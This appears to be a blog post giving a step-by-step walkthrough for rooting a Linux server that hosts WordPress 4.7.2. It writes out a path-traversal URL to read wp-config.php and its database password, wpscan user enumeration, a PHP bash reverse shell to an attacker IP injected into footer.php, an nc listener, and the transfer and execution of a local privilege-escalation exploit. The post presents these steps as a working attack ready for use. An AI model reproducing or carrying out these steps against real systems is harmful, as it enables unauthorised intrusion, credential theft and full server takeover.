Hacking Wakthrough : Linux version 3.10.0-123.el7.x86_64 / Wordpress 4.7.2
Server Operating system : Linux version 3.10.0-123.el7.x86_64
Hosted Web application : Wordpress 4.7.2
Vulnerabilities found:
- Linux: https://www.exploit-db.com/exploits/35370 ( Local privilege escalation)
- Wordpress : https://www.exploit-db.com/exploits/39558 (Site import 1.0.1 plugin - LFI/RFI). There could be other vulnerable plugins
How to root the Linux server ?
- Type this url: http://server-address/wp-content/plugins/site-import/admin/page.php?url=../../../../../../../../../../../../../../../../var/www/html/wp-config.php
- View source this wp-config.php
- Find the database password.
- Use it to login the admin page. You need to figure out to find the name of the admin/user by using the tool wpscan : wpscan http://server-url -e u
- Once inside wordpress, go to apperances/editor.
- Copy this php reverse shell: inject <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ip-addrr/port 0>&1'"); ?> to one the php files ike footer.php.
- Run in terminal: nc -lvp port. The port must be similar to the previous step.
- Refresh the wordpress. You have access now to the server, normally as an apache user with no suid privilege. Try sudo or any privilege escalation method . If al fails, download the Linux exploit above (wget), try to compile it using gcc.
- If there is no compiler on the server , compile it in your local machine ( as described in the exploit) and transfer it it to the server.
- To transfer it, run: python3 -m http.server . Your machine will be a web server with a port number. Now, you can download the exploit using: wget your-machine:port/exploit
- Chmod 775 exploit , run it ./exploit
- Congratulations , you are root now
Comments
Post a Comment